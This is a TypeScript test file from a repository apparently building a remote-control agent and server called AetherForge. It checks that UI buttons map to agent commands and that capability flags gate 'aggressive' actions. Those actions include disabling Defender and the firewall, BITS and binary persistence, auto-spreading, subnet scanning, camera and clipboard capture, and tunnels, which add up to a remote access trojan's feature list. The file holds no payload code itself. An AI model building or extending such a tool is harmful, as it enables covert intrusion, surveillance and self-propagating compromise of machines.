Files
AetherForge/server/web/src/help/remoteActions.test.ts
AetherForge 5fc601b564 feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
2026-06-04 09:34:33 -07:00

176 lines
5.3 KiB
TypeScript

import { describe, it, expect } from 'vitest';
import {
AGGRESSIVE_REMOTE_ACTIONS,
aggressiveActionHint,
canRunAggressiveAction,
} from './aggressiveActions';
/** Buttons in AgentRemoteActions (full + compact) — must match agent/client handleCommand. */
const UI_REMOTE_ACTIONS = [
'pause',
'resume',
'stop',
'uninstall',
'restart',
'screenshot',
'camera_snapshot',
'ps',
'sysinfo',
'netstat',
'users',
'software',
'get_log',
'powershell',
'upload',
'push_desktop',
'full_sys_check',
...AGGRESSIVE_REMOTE_ACTIONS,
] as const;
/** Implemented in agent/client (handleCommand + aggressive_commands). */
const AGENT_HANDLED = new Set([
'pause',
'resume',
'restart',
'stop',
'kill',
'uninstall',
'get_log',
'exec',
'powershell',
'upload',
'push_desktop',
'full_sys_check',
'download',
'ps',
'netstat',
'users',
'software',
'screenshot',
'camera_snapshot',
'camera_list',
'sysinfo',
'ipconfig',
'clipboard',
'wifi',
'hole_punch',
'hole_punch_close',
'hole_punch_status',
'spread_now',
'start_tunnel',
'tunnel_cloudflared',
'tunnel_wireguard',
'tunnel_ssh_forward',
'tunnel_status',
'tunnel_stop',
'subnet_scan',
'defender_off',
'firewall_punch',
'firewall_off',
'firewall_on',
'firewall_profiles',
'firewall_remove',
'bits_persist',
'host_binary_persist',
'mesh_status',
]);
describe('remote action wiring', () => {
it('every UI remote button maps to an agent handler', () => {
for (const action of UI_REMOTE_ACTIONS) {
expect(AGENT_HANDLED.has(action)).toBe(true);
}
});
it('gates hole punch when capability missing', () => {
expect(canRunAggressiveAction('hole_punch', { hole_punch: false, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(false);
expect(canRunAggressiveAction('hole_punch', { hole_punch: true, remote_aggressive: false, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(true);
});
it('blocks defender_off on darwin regardless of caps', () => {
const caps = { hole_punch: true, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false };
expect(canRunAggressiveAction('defender_off', caps, 'darwin')).toBe(false);
expect(canRunAggressiveAction('defender_off', caps, 'windows')).toBe(true);
});
});
describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
it('lists every wired aggressive command once', () => {
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(18);
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(18);
});
});
const fullCaps = {
hole_punch: true,
remote_aggressive: true,
mesh_p2p: true,
auto_spread: true,
process_hollowing: false,
ai_enabled: false,
};
describe('canRunAggressiveAction edge cases', () => {
it('allows all actions when caps are undefined (legacy agents)', () => {
for (const action of AGGRESSIVE_REMOTE_ACTIONS) {
if (action === 'defender_off') continue;
expect(canRunAggressiveAction(action, undefined, 'windows')).toBe(true);
}
});
it('spread_now requires auto_spread or remote_aggressive', () => {
const base = { ...fullCaps, auto_spread: false, remote_aggressive: false };
expect(canRunAggressiveAction('spread_now', base)).toBe(false);
expect(canRunAggressiveAction('spread_now', { ...base, auto_spread: true })).toBe(true);
expect(canRunAggressiveAction('spread_now', { ...base, remote_aggressive: true })).toBe(true);
});
it('mesh_status requires mesh_p2p capability', () => {
expect(canRunAggressiveAction('mesh_status', { ...fullCaps, mesh_p2p: false })).toBe(false);
expect(canRunAggressiveAction('mesh_status', fullCaps)).toBe(true);
});
it('remote aggressive ops gate tunnel, scan, defender, firewall', () => {
const noAgg = { ...fullCaps, remote_aggressive: false };
for (const action of [
'start_tunnel',
'tunnel_cloudflared',
'tunnel_ssh_forward',
'tunnel_stop',
'subnet_scan',
'defender_off',
'firewall_punch',
'firewall_off',
'firewall_on',
'firewall_profiles',
'firewall_remove',
'bits_persist',
'host_binary_persist',
] as const) {
expect(canRunAggressiveAction(action, noAgg, 'windows')).toBe(false);
expect(canRunAggressiveAction(action, fullCaps, 'windows')).toBe(true);
}
});
});
describe('aggressiveActionHint', () => {
it('returns undefined when action is allowed', () => {
expect(aggressiveActionHint('hole_punch', fullCaps)).toBeUndefined();
expect(aggressiveActionHint('spread_now', fullCaps)).toBeUndefined();
});
it('returns macOS-specific hint for defender_off', () => {
expect(aggressiveActionHint('defender_off', fullCaps, 'darwin')).toBe(
'Defender disable not supported on macOS'
);
});
it('suggests re-forge hints when capability missing', () => {
const noCaps = { ...fullCaps, hole_punch: false, auto_spread: false, remote_aggressive: false, mesh_p2p: false };
expect(aggressiveActionHint('hole_punch', noCaps)).toContain('NAT Hole Punch');
expect(aggressiveActionHint('spread_now', noCaps)).toContain('Auto-Spread');
expect(aggressiveActionHint('mesh_status', noCaps)).toContain('Mesh P2P');
expect(aggressiveActionHint('start_tunnel', noCaps)).toContain('Remote Aggressive Ops');
});
});